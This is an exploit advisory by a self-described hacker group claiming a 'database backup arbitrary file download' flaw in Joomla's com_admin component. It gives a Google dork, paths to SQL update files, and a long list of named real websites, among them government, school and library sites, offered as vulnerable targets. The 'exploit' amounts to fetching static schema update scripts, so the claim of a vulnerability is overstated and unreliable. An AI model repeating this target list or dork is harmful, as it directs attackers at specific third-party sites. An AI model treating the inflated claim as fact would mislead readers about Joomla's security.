#################################################################################################

# Exploit Title : Joomla com_admin Components from V2.5.4 to V3.7.4
Database Backup Arbitrary File Download Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 19/11/2018
# Vendor Homepage : joomla.org
+
github.com/joomla-projects/gsoc18_override_management/tree/master/administrator/components/com_admin
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : V2.5.4 - V2.5.6 - V2.5.7 - V3.0.0 3.0.1
V3.0. V3.0.3 V3.1.0  V3.1.1 V3.1.2 V3.1.3  V3.1.4 V3.1.5 V3.2.0 V3.2.1
V3.4.0 V3.7.4 and if etcetera....
# Google Dorks : inurl:''/administrator/components/com_admin/sql/''
# Exploit Risk : Medium
# CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ]
CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]

#################################################################################################

# Admin Panel Login Path :

/administrator

#################################################################################################

# Exploit :

Check this folders =>

/joomla/administrator/components/com_admin/sql/others/mysql/......

/PATH/PATH/administrator/components/com_admin/sql/others/mysql/......

/PATH/administrator/components/com_admin/sql/updates/mysql/......

/administrator/components/com_admin/sql/updates/mysql/......

/administrator/components/com_admin/sql/updates/postgresql/.......

/administrator/components/com_admin/sql/updates/sqlazure/......

/administrator/components/com_admin/sql/updates/mysql/2.5.4-[YEAR]-[MONTH]-[DAY].sql

/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-19.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql

/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

/PATH/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-[YEAR]-[MONTH]-[DAY].sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-18.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.4-2012-03-19.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.6.sql

/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql

/administrator/components/com_admin/sql/updates/mysql/2.5.[THIS-NUMBER-CHANGES-].sql

#################################################################################################

# Example Vulnerable Sites =>

[+]
xpilot-ai.org/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql

[+]
colegiosanpedroclaver.edu.co/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql

[+]
freightdb.kzntransport.gov.za/administrator/components/com_admin/sql/updates/postgresql/3.1.0.sql

[+]
speccontrol.pl/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

[+]
integratedfg.com/administrator/components/com_admin/sql/updates/mysql/2.5.9.sql

[+]
elroyce.com/home/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

[+]
groupepromotran.net/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

[+]
clicdesourischemille.fr/administrator/components/com_admin/sql/updates/mysql/2.5.5.sql

[+]
elmwoodnebraska.com/nl/administrator/components/com_admin/sql/updates/postgresql/3.9.0-2018-06-14.sql

[+]
kkn.cz/gdpr/administrator/components/com_admin/sql/updates/mysql/3.2.1.sql

[+]
flauzac.eu/administrator/components/com_admin/sql/updates/mysql/2.5.7.sql

[+]
cd06ffme.fr/joomla/administrator/components/com_admin/sql/updates/sqlazure/2.5.15.sql

[+]
alcbrh.com/supp%209/joomla/administrator/components/com_admin/sql/updates/postgresql/3.2.0.sql

[+]
sunshrine.com/administrator/components/com_admin/sql/updates/mysql/2.5.14.sql.encrypted

[+]
murraynebraska.com/nl/administrator/components/com_admin/sql/updates/sqlazure/3.2.1.sql

[+]
witecc.com/wit/administrator/components/com_admin/sql/updates/mysql/3.0.2.sql

[+]
recursosvirtualesperu.com/joomla/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql

[+]
library.franklincountyva.gov/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql

[+]
tgr.org.hk/administrator/components/com_admin/sql/updates/postgresql/3.1.1.sql

[+]
sheltonbeach.org/administrator/components/com_admin/sql/updates/sqlazure/2.5.9.sql

[+]
labarjaque.com/administrator/components/com_admin/sql/updates/mysql/3.0.3.sql

[+]
vir.nw.ru/test/vir.nw/administrator/components/com_admin/sql/updates/mysql/3.0.3.sql

[+]
gammarth-immobiliere.tn/new/administrator/components/com_admin/sql/updates/postgresql/3.1.3.sql

[+]
hfcforestry.com/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql

[+]
clickhouseghana.com/EchoStop/administrator/components/com_admin/sql/updates/postgresql/3.4.4-2015-07-11.sql

[+]
seaportsa.com/es/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

[+]
avagarrett.net/__MACOSX/bt_education_v3.0.0_j25_quickstart/administrator/components/com_admin/sql/updates/mysql/._1.7.0.sql

[+]
suntechmed.com/__MACOSX/suntechmed15/administrator/components/com_admin/sql/updates/sqlazure/._3.1.3.sql

[+]
villaalena.cz/administrator/components/com_admin/sql/updates/mysql/3.0.2.sql

[+]
colo-passion.fr/site/videoprivate/administrator/components/com_admin/sql/updates/sqlazure/2.5.21.sql

[+]
cosemsmg.org.br/site/administrator/components/com_admin/sql/updates/mysql/3.0.0.sql

[+]
djabugay.org.au/Joomla/administrator/components/com_admin/sql/updates/sqlazure/3.1.5.sql

[+]
stoneandequipment.com/panama/administrator/components/com_admin/sql/updates/postgresql/3.1.5.sql

[+]
brisbug.asn.au/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql

[+]
lopes.im/administrator/components/com_admin/sql/updates/sqlazure/2.5.7.sql

[+]
institutoagricola.com/administrator/components/com_admin/sql/updates/sqlazure/3.7.4-2017-07-05.sql

[+]
operaciavianocnedieta.sk/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

[+]
billybobproducts.com/whitetaleslodge/administrator/components/com_admin/sql/updates/mysql/1.7.0.sql

[+]
operaciavianocnedieta.sk/administrator/components/com_admin/sql/updates/sqlazure/3.0.1.sql

[+]
arnes.si/~sspmmetl/administrator/components/com_admin/sql/updates/mysql/3.1.4.sql

[+]wenscom.it/administrator/components/com_admin/sql/updates/mysql/3.1.2.sql

[+]
cheerleading.com.sg/events/administrator/components/com_admin/sql/updates/mysql/3.4.0-2014-09-16.sql

[+]
osm.chiangrai.net/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

[+]
datacomplete.com/administrator/components/com_admin/sql/updates/mysql/2.5.4-2012-03-18.sql

[+]
mail.nisselwater.com/joomla30/administrator/components/com_admin/sql/updates/mysql/3.1.2.sql

[+]
hcerstein.com/joomla/administrator/components/com_admin/sql/updates/mysql/2.5.13.sql

[+]
epmanagementconsult.com/__MACOSX/administrator/components/com_admin/sql/updates/mysql/._3.1.1.sql

[+]
mvapower.com/MVASITE/administrator/components/com_admin/sql/updates/mysql/3.0.1.sql

[+]
allamericanbailbonds.com/__MACOSX/allamericanbailbonds.com/administrator/components/com_admin/sql/updates/mysql/._2.5.6.sql

[+]
municipalidadelbosque.cl/joomla/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

[+]
yurtyay.com.tr/administrator/components/com_admin/sql/updates/postgresql/3.0.2.sql

[+]
universoautista.com.br/portal/administrator/components/com_admin/sql/updates/mysql/2.5.10.sql

[+]
hoefelmayr.net/Joomla/administrator/components/com_admin/sql/updates/mysql/2.5.10.sql

[+]
patrioticsolutions.com/sites/askkarate/administrator/components/com_admin/sql/updates/mysql/3.1.4.sql

[+]
hazelgreenfire.org/home/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql

[+]
misioneritasarcadsa.com.ar/Joomla/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql

[+]
staszickutno.pl/jbip/administrator/components/com_admin/sql/updates/mysql/2.5.0-2011-12-06.sql

[+]
pkiakks.org/web2/administrator/components/com_admin/sql/updates/mysql/2.5.6.sql

[+]
ctnanotubos.com.br/projetos/administrator/components/com_admin/sql/updates/mysql/3.4.0-2014-12-03.sql

[+]
dev.intellizim.com/ppeinternational/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

[+]
positanolirica.com.ar/positano/administrator/components/com_admin/sql/updates/postgresql/3.1.0.sql

[+]
reptileone.com.au/__MACOSX/shaper_awetive_quickstart_j3/administrator/components/com_admin/sql/updates/mysql/._2.5.11.sql

[+]
sportxanalitix.com/home/administrator/components/com_admin/sql/updates/mysql/3.6.0-2016-04-06.sql

[+]
tecso.com.mx/v2/__MACOSX/blog/administrator/components/com_admin/sql/updates/mysql/._3.0.1.sql

[+]
kohinoortarpaulin.net/administrator/components/com_admin/sql/updates/sqlazure/3.1.1.sql

[+]
raphstudio.com.br/site/v1/administrator/components/com_admin/sql/updates/sqlazure/3.1.5.sql

[+]
fotozrak.mk/print/administrator/components/com_admin/sql/updates/sqlazure/2.5.5.sql

[+]
idealkorpus.com/pt/administrator/components/com_admin/sql/updates/postgresql/3.0.3.sql

[+]
ateliedearomas.com.br/atelie/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

[+]
bristolacneremoval.co.uk/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

[+]
moob.cl/clientes/__MACOSX/puc/administrator/components/com_admin/sql/others/mysql/._utf8mb4-conversion-01.sql

[+]
skansjofrakt.se/joo2/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-01.sql

[+]
utilsoluciones.com/en/administrator/components/com_admin/sql/others/mysql/utf8mb4-conversion-02.sql

[+]
igorgalic.freeserverhost.com/joomla/administrator/components/com_admin/sql/updates/mysql/2.5.1-2012-01-26.sql

#################################################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

#################################################################################################